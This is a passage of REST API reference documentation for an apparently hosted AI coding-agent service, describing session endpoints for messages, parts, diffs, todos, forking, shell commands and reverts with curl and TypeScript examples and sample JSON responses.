    "updated": 1731000450000
  }
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/diff`

Get file changes (diffs) resulting from the session. Optionally scope the diff to a specific message.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/diff?messageID=msg_01HXY..."
```


```ts
await client.agent.sessions.getDiff({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  messageID: "msg_01HXY...",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `messageID` | query | string | No | Optional message cursor for message-scoped diff |

### Response



```json
[
  {
    "file": "src/auth/callback.ts",
    "before": "export const handler = (req, res) => { /* old */ }",
    "after": "export const handler = async (req, res) => { /* new */ }",
    "additions": 24,
    "deletions": 10,
    "status": "modified"
  },
  {
    "file": "src/auth/oauth.ts",
    "before": "",
    "after": "export const config = { provider: 'github' }",
    "additions": 12,
    "deletions": 0,
    "status": "added"
  }
]
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/todo`

Retrieve the todo list associated with a session.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/todo"
```


```ts
await client.agent.sessions.getTodo({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
[
  {
    "id": "todo_01HXY...",
    "content": "Migrate callback handler to async/await",
    "status": "completed",
    "priority": "high"
  },
  {
    "id": "todo_01HXY...",
    "content": "Add integration test for OAuth refresh",
    "status": "in_progress",
    "priority": "medium"
  },
  {
    "id": "todo_01HXY...",
    "content": "Document the new env vars",
    "status": "pending",
    "priority": "low"
  }
]
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `PATCH /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/tags`

Replace the MITM tags on a session. This surface and `/mitm/sessions/{sessionID}/tags` share the same canonical-equality fast path.



```bash
curl -X PATCH "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/tags" \
  -H "Content-Type: application/json" \
  -d '{
    "tags": ["needs-review", "security", "v2"]
  }'
```


```ts
await client.agent.sessions.updateTags({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    tags: ["needs-review", "security", "v2"],
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `tags` | array | Yes | |

```json
{
  "tags": ["needs-review", "security", "v2"]
}
```

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f4",
  "slug": "refactor-auth-flow",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 142,
    "deletions": 38,
    "files": 7,
    "diffs": []
  },
  "title": "Refactor auth flow",
  "version": "v1.2.3",
  "time": {
    "created": 1731000000000,
    "updated": 1731000800000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "allow" }
  ],
  "metadata": {},
  "revert": {
    "messageID": "msg_01HXY..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "tags", "message": "tags must be an array of strings" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

## Session messages

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages`

Retrieve messages from a session, oldest first. Use the `after` cursor parameter for incremental polling.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/messages?limit=20&role=assistant&after=msg_01HXY..."
```


```ts
await client.agent.sessions.listMessages({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  limit: 20,
  role: "assistant",
  after: "msg_01HXY...",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `limit` | query | integer | No | Maximum messages to return |
| `role` | query | string | No | Filter by role. Allowed values: `user`, `assistant` |
| `after` | query | string | No | Cursor: only return messages with ID strictly greater than this (newer) |

### Response



```json
[
  {
    "info": {
      "id": "msg_01HXY...",
      "sessionID": "ses_01HXY123",
      "role": "user",
      "time": { "created": 1731000000000 },
      "summary": { "diffs": [] },
      "agent": "build",
      "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
      "system": "You are a helpful coding assistant.",
      "tools": { "bash": true, "edit": true },
      "variant": "max"
    },
    "parts": [
      {
        "id": "prt_01HXY...",
        "sessionID": "ses_01HXY123",
        "messageID": "msg_01HXY...",
        "type": "text",
        "text": "Refactor the auth callback to be async.",
        "time": { "start": 1731000000000 }
      }
    ]
  },
  {
    "info": {
      "id": "msg_01HXY...",
      "sessionID": "ses_01HXY123",
      "role": "assistant",
      "time": { "created": 1731000005000, "completed": 1731000030000 },
      "parentID": "msg_01HXY...",
      "modelID": "claude-3-5-sonnet",
      "providerID": "anthropic",
      "mode": "build",
      "agent": "build",
      "path": { "cwd": "/home/user/projects/app", "root": "/home/user/projects/app" },
      "cost": 0.0124,
      "tokens": {
        "input": 412,
        "output": 220,
        "reasoning": 80,
        "cache": { "read": 120, "write": 40 }
      }
    },
    "parts": [
      {
        "id": "prt_01HXY...",
        "sessionID": "ses_01HXY123",
        "messageID": "msg_01HXY...",
        "type": "text",
        "text": "I'll refactor the auth callback handler."
      }
    ]
  }
]
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `GET /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/messages/{messageID}`

Retrieve a specific message from a session, including all of its parts.



```bash
curl "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/messages/msg_01HXY..."
```


```ts
await client.agent.sessions.getMessage({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  messageID: "msg_01HXY...",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `messageID` | path | string | Yes | |

### Response



```json
{
  "info": {
    "id": "msg_01HXY...",
    "sessionID": "ses_01HXY123",
    "role": "assistant",
    "time": { "created": 1731000005000, "completed": 1731000030000 },
    "parentID": "msg_01HXY...",
    "modelID": "claude-3-5-sonnet",
    "providerID": "anthropic",
    "mode": "build",
    "agent": "build",
    "path": { "cwd": "/home/user/projects/app", "root": "/home/user/projects/app" },
    "cost": 0.0124,
    "tokens": {
      "input": 412,
      "output": 220,
      "reasoning": 80,
      "cache": { "read": 120, "write": 40 }
    }
  },
  "parts": [
    {
      "id": "prt_01HXY...",
      "sessionID": "ses_01HXY123",
      "messageID": "msg_01HXY...",
      "type": "text",
      "text": "I'll refactor the auth callback handler."
    },
    {
      "id": "prt_01HXY...",
      "sessionID": "ses_01HXY123",
      "messageID": "msg_01HXY...",
      "type": "step-finish",
      "reason": "stop",
      "cost": 0.0124,
      "tokens": {
        "input": 412,
        "output": 220,
        "reasoning": 80,
        "cache": { "read": 120, "write": 40 }
      }
    }
  ]
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Message not found"
  }
}
```



---

### `PATCH /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}`

Update mutable fields on a user message — for example, switching the model while retrying.



```bash
curl -X PATCH "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/message/msg_01HXY..." \
  -H "Content-Type: application/json" \
  -d '{
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" }
  }'
```


```ts
await client.agent.sessions.updateMessage({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  messageID: "msg_01HXY...",
  data: {
    model: { providerID: "anthropic", modelID: "claude-3-5-sonnet" },
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `messageID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `model` | object | Yes | `providerID` and `modelID` (both required) |

```json
{
  "model": {
    "providerID": "anthropic",
    "modelID": "claude-3-5-sonnet"
  }
}
```

### Response



```json
{
  "info": {
    "id": "msg_01HXY...",
    "sessionID": "ses_01HXY123",
    "role": "user",
    "time": { "created": 1731000000000 },
    "agent": "build",
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" }
  },
  "parts": [
    {
      "id": "prt_01HXY...",
      "sessionID": "ses_01HXY123",
      "messageID": "msg_01HXY...",
      "type": "text",
      "text": "Refactor the auth callback to be async."
    }
  ]
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "model.modelID", "message": "modelID is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Message not found"
  }
}
```



---

## Session parts

### `PATCH /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}/part/{partID}`

Update a part attached to a message.



```bash
curl -X PATCH "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/message/msg_01HXY.../part/prt_01HXY..." \
  -H "Content-Type: application/json" \
  -d '{
    "id": "prt_01HXY...",
    "sessionID": "ses_01HXY123",
    "messageID": "msg_01HXY...",
    "type": "text",
    "text": "Updated text content"
  }'
```


```ts
await client.agent.sessions.updatePart({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  messageID: "msg_01HXY...",
  partID: "prt_01HXY...",
  data: {
    id: "prt_01HXY...",
    sessionID: "ses_01HXY123",
    messageID: "msg_01HXY...",
    type: "text",
    text: "Updated text content",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `messageID` | path | string | Yes | |
| `partID` | path | string | Yes | Part ID |

### Request Body

The request body matches the `Part` schema (a tagged union of `TextPart`, `SubtaskPart`, `ReasoningPart`, `FilePart`, `ToolPart`, `JobResultPart`, `StepStartPart`, `StepFinishPart`, `SnapshotPart`, `PatchPart`, `AgentPart`, `RetryPart`, `CompactionPart`).

```json
{
  "id": "prt_01HXY...",
  "sessionID": "ses_01HXY123",
  "messageID": "msg_01HXY...",
  "type": "text",
  "text": "Updated text content"
}
```

### Response



```json
{
  "id": "prt_01HXY...",
  "sessionID": "ses_01HXY123",
  "messageID": "msg_01HXY...",
  "type": "text",
  "text": "Updated text content",
  "time": { "start": 1731000000000 }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "type", "message": "unsupported part type" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Part not found"
  }
}
```



---

### `DELETE /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message/{messageID}/part/{partID}`

Delete a part from a message.



```bash
curl -X DELETE "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/message/msg_01HXY.../part/prt_01HXY..."
```


```ts
await client.agent.sessions.deletePart({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  messageID: "msg_01HXY...",
  partID: "prt_01HXY...",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |
| `messageID` | path | string | Yes | |
| `partID` | path | string | Yes | Part ID |

### Response



```json
true
```


```json
{
  "data": null,
  "errors": [
    { "path": "partID", "message": "partID is malformed" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Part not found"
  }
}
```



---

## Create, update, delete sessions

### `POST /api/v1/workspaces/{workspaceID}/sessions`

Create a new session in the workspace. Pass a `parentID` to fork from an existing session.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Investigate flaky CI test",
    "permission": [
      { "permission": "edit", "pattern": "*", "action": "ask" }
    ],
    "metadata": { "priority": "high" }
  }'
```


```ts
await client.agent.sessions.create({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  data: {
    title: "Investigate flaky CI test",
    permission: [
      { permission: "edit", pattern: "*", action: "ask" },
    ],
    metadata: { priority: "high" },
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `parentID` | string | No | Must match `^[0-9a-f]{24}$` |
| `title` | string | No | |
| `permission` | array | No | `PermissionRuleset` — array of `{ permission, pattern, action }` |
| `metadata` | object | No | Free-form key/value map |

```json
{
  "title": "Investigate flaky CI test",
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "ask" }
  ],
  "metadata": { "priority": "high" }
}
```

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f6",
  "slug": "investigate-flaky-ci-test",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 0,
    "deletions": 0,
    "files": 0,
    "diffs": []
  },
  "title": "Investigate flaky CI test",
  "version": "v1.2.3",
  "time": {
    "created": 1731000900000,
    "updated": 1731000900000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "ask" }
  ],
  "metadata": { "priority": "high" },
  "revert": {
    "messageID": "msg_01HXY..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "parentID", "message": "parentID must match ^[0-9a-f]{24}$" }
  ],
  "success": false
}
```



---

### `PATCH /api/v1/workspaces/{workspaceID}/sessions/{sessionID}`

Update session-level properties: `title`, `time.archived`, and/or `permission`.

The `permission` field is a session-scoped ruleset merged on top of `config.permission` at evaluation time (last-match-wins).

- Pass `permission: []` to clear session overrides (keeps the field).
- Pass `permission: null` to remove the field entirely (revert to config defaults).
- Omit `permission` to leave the existing rules untouched.



```bash
curl -X PATCH "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123" \
  -H "Content-Type: application/json" \
  -d '{
    "title": "Refactor auth flow (renamed)",
    "time": { "archived": 0 },
    "permission": [
      { "permission": "edit", "pattern": "src/auth/**", "action": "ask" }
    ]
  }'
```


```ts
await client.agent.sessions.update({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    title: "Refactor auth flow (renamed)",
    time: { archived: 0 },
    permission: [
      { permission: "edit", pattern: "src/auth/**", action: "ask" },
    ],
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `title` | string | No | New session title (min length 1) |
| `time` | object | No | Timestamp fields to update. Contains `archived` (ms since epoch, or `0` to unarchive) |
| `permission` | array \| null | No | Session-scoped ruleset. `[]` clears overrides; `null` removes the field |

```json
{
  "title": "Refactor auth flow (renamed)",
  "time": { "archived": 0 },
  "permission": [
    { "permission": "edit", "pattern": "src/auth/**", "action": "ask" }
  ]
}
```

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f4",
  "slug": "refactor-auth-flow-renamed",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": null,
  "summary": {
    "additions": 142,
    "deletions": 38,
    "files": 7,
    "diffs": []
  },
  "title": "Refactor auth flow (renamed)",
  "version": "v1.2.3",
  "time": {
    "created": 1731000000000,
    "updated": 1731001000000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "src/auth/**", "action": "ask" }
  ],
  "metadata": {},
  "revert": {
    "messageID": "msg_01HXY..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "permission", "message": "permission must be an array, null, or omitted" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `DELETE /api/v1/workspaces/{workspaceID}/sessions/{sessionID}`

Delete a session and all associated data. This action is irreversible.



```bash
curl -X DELETE "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123"
```


```ts
await client.agent.sessions.delete({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Response



```json
true
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

## Session actions

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/message`

Send a message to a session, streaming the AI response.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/message" \
  -H "Content-Type: application/json" \
  -d '{
    "messageID": "msg_01HXY...",
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
    "agent": "build",
    "system": "Be concise.",
    "parts": [
      { "type": "text", "text": "Add a retry policy to the HTTP client." }
    ]
  }'
```


```ts
await client.agent.sessions.prompt({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    messageID: "msg_01HXY...",
    model: { providerID: "anthropic", modelID: "claude-3-5-sonnet" },
    agent: "build",
    system: "Be concise.",
    parts: [
      { type: "text", text: "Add a retry policy to the HTTP client." },
    ],
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `messageID` | string | No | Matches `^msg.*` |
| `model` | object | No | `providerID` and `modelID` (both required when present) |
| `agent` | string | No | |
| `noReply` | boolean | No | |
| `tools` | object | No | Deprecated — set `permission` on the session instead. Map of tool name to boolean |
| `system` | string | No | |
| `variant` | string | No | |
| `parts` | array | Yes | Array of `TextPartInput`, `FilePartInput`, `AgentPartInput`, or `SubtaskPartInput` |

```json
{
  "messageID": "msg_01HXY...",
  "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
  "agent": "build",
  "system": "Be concise.",
  "parts": [
    { "type": "text", "text": "Add a retry policy to the HTTP client." }
  ]
}
```

### Response



```json
{
  "info": {
    "id": "msg_01HXY...",
    "sessionID": "ses_01HXY123",
    "role": "assistant",
    "time": { "created": 1731001000000, "completed": 1731001030000 },
    "parentID": "msg_01HXY...",
    "modelID": "claude-3-5-sonnet",
    "providerID": "anthropic",
    "mode": "build",
    "agent": "build",
    "path": { "cwd": "/home/user/projects/app", "root": "/home/user/projects/app" },
    "cost": 0.0242,
    "tokens": {
      "input": 612,
      "output": 320,
      "reasoning": 110,
      "cache": { "read": 80, "write": 40 }
    }
  },
  "parts": [
    {
      "id": "prt_01HXY...",
      "sessionID": "ses_01HXY123",
      "messageID": "msg_01HXY...",
      "type": "text",
      "text": "I'll add a retry policy to the HTTP client."
    }
  ]
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "parts", "message": "parts must be a non-empty array" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/prompt_async`

Send a message to a session asynchronously. The endpoint returns immediately after the prompt is accepted; stream the response separately.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/prompt_async" \
  -H "Content-Type: application/json" \
  -d '{
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
    "agent": "build",
    "parts": [
      { "type": "text", "text": "Add a retry policy to the HTTP client." }
    ]
  }'
```


```ts
await client.agent.sessions.promptAsync({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    model: { providerID: "anthropic", modelID: "claude-3-5-sonnet" },
    agent: "build",
    parts: [
      { type: "text", text: "Add a retry policy to the HTTP client." },
    ],
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `messageID` | string | No | Matches `^msg.*` |
| `model` | object | No | `providerID` and `modelID` (both required when present) |
| `agent` | string | No | |
| `noReply` | boolean | No | |
| `tools` | object | No | Deprecated — set `permission` on the session instead. Map of tool name to boolean |
| `system` | string | No | |
| `variant` | string | No | |
| `parts` | array | Yes | Array of `TextPartInput`, `FilePartInput`, `AgentPartInput`, or `SubtaskPartInput` |

```json
{
  "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
  "agent": "build",
  "parts": [
    { "type": "text", "text": "Add a retry policy to the HTTP client." }
  ]
}
```

### Response



The prompt was accepted. The session processes the message in the background.


```json
{
  "data": null,
  "errors": [
    { "path": "parts", "message": "parts must be a non-empty array" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/command`

Send a slash command to a session for execution by the AI assistant.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/command" \
  -H "Content-Type: application/json" \
  -d '{
    "messageID": "msg_01HXY...",
    "agent": "build",
    "model": "claude-3-5-sonnet",
    "command": "init",
    "arguments": "scan the repo"
  }'
```


```ts
await client.agent.sessions.command({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    messageID: "msg_01HXY...",
    agent: "build",
    model: "claude-3-5-sonnet",
    command: "init",
    arguments: "scan the repo",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `messageID` | string | No | Matches `^msg.*` |
| `agent` | string | No | |
| `model` | string | No | |
| `arguments` | string | Yes | |
| `command` | string | Yes | |
| `variant` | string | No | |
| `parts` | array | No | Array of file parts (`type: "file"`, `mime`, `url` required) |

```json
{
  "messageID": "msg_01HXY...",
  "agent": "build",
  "model": "claude-3-5-sonnet",
  "command": "init",
  "arguments": "scan the repo"
}
```

### Response



```json
{
  "info": {
    "id": "msg_01HXY...",
    "sessionID": "ses_01HXY123",
    "role": "assistant",
    "time": { "created": 1731001100000, "completed": 1731001130000 },
    "parentID": "msg_01HXY...",
    "modelID": "claude-3-5-sonnet",
    "providerID": "anthropic",
    "mode": "build",
    "agent": "build",
    "path": { "cwd": "/home/user/projects/app", "root": "/home/user/projects/app" },
    "cost": 0.0184,
    "tokens": {
      "input": 480,
      "output": 240,
      "reasoning": 60,
      "cache": { "read": 60, "write": 30 }
    }
  },
  "parts": [
    {
      "id": "prt_01HXY...",
      "sessionID": "ses_01HXY123",
      "messageID": "msg_01HXY...",
      "type": "text",
      "text": "Running /init..."
    }
  ]
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "command", "message": "command is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/shell`

Execute a shell command within the session context. Returns the assistant's response.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/shell" \
  -H "Content-Type: application/json" \
  -d '{
    "agent": "build",
    "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
    "command": "ls -la src/auth"
  }'
```


```ts
await client.agent.sessions.shell({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: {
    agent: "build",
    model: { providerID: "anthropic", modelID: "claude-3-5-sonnet" },
    command: "ls -la src/auth",
  },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `agent` | string | Yes | |
| `model` | object | No | `providerID` and `modelID` (both required when present) |
| `command` | string | Yes | |

```json
{
  "agent": "build",
  "model": { "providerID": "anthropic", "modelID": "claude-3-5-sonnet" },
  "command": "ls -la src/auth"
}
```

### Response



```json
{
  "id": "msg_01HXY...",
  "sessionID": "ses_01HXY123",
  "role": "assistant",
  "time": { "created": 1731001200000, "completed": 1731001210000 },
  "parentID": "msg_01HXY...",
  "modelID": "claude-3-5-sonnet",
  "providerID": "anthropic",
  "mode": "build",
  "agent": "build",
  "path": { "cwd": "/home/user/projects/app", "root": "/home/user/projects/app" },
  "cost": 0.0042,
  "tokens": {
    "input": 220,
    "output": 60,
    "reasoning": 0,
    "cache": { "read": 20, "write": 10 }
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "command", "message": "command is required" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/fork`

Create a new session forked at a specific message point. The new session starts empty but inherits state up to `messageID`.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/fork" \
  -H "Content-Type: application/json" \
  -d '{ "messageID": "msg_01HXY..." }'
```


```ts
await client.agent.sessions.fork({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
  sessionID: "ses_01HXY123",
  data: { messageID: "msg_01HXY..." },
});
```



### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `workspaceID` | path | string | Yes | Workspace identifier (project ID or workspace entry ID; 24-char lowercase hex) |
| `sessionID` | path | string | Yes | |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `messageID` | string | No | Matches `^msg.*`. If omitted, the new session forks at the latest message |

```json
{
  "messageID": "msg_01HXY..."
}
```

### Response



```json
{
  "id": "5fa1bd2e9c1d2c0001b2a3f7",
  "slug": "refactor-auth-flow-fork-1",
  "projectID": "5f9f5c5e7b1e0c0001a2b3c4",
  "directory": "/home/user/projects/app",
  "parentID": "5fa1bd2e9c1d2c0001b2a3f4",
  "summary": {
    "additions": 0,
    "deletions": 0,
    "files": 0,
    "diffs": []
  },
  "title": "Refactor auth flow (fork)",
  "version": "v1.2.3",
  "time": {
    "created": 1731001300000,
    "updated": 1731001300000,
    "compacting": 0,
    "archived": 0
  },
  "permission": [
    { "permission": "edit", "pattern": "*", "action": "ask" }
  ],
  "metadata": {},
  "revert": {
    "messageID": "msg_01HXY..."
  }
}
```


```json
{
  "data": null,
  "errors": [
    { "path": "messageID", "message": "messageID must match ^msg.*" }
  ],
  "success": false
}
```


```json
{
  "name": "NotFoundError",
  "data": {
    "message": "Source session not found"
  }
}
```



---

### `POST /api/v1/workspaces/{workspaceID}/sessions/{sessionID}/revert`

Revert a session to a specific message, undoing all subsequent changes.



```bash
curl -X POST "https://api.hoody.com/api/v1/workspaces/5f9f5c5e7b1e0c0001a2b3c4/sessions/ses_01HXY123/revert" \
  -H "Content-Type: application/json" \
  -d '{
    "messageID": "msg_01HXY...",
    "partID": "prt_01HXY..."
  }'
```


```ts
await client.agent.sessions.revert({
  workspaceID: "5f9f5c5e7b1e0c0001a2b3c4",
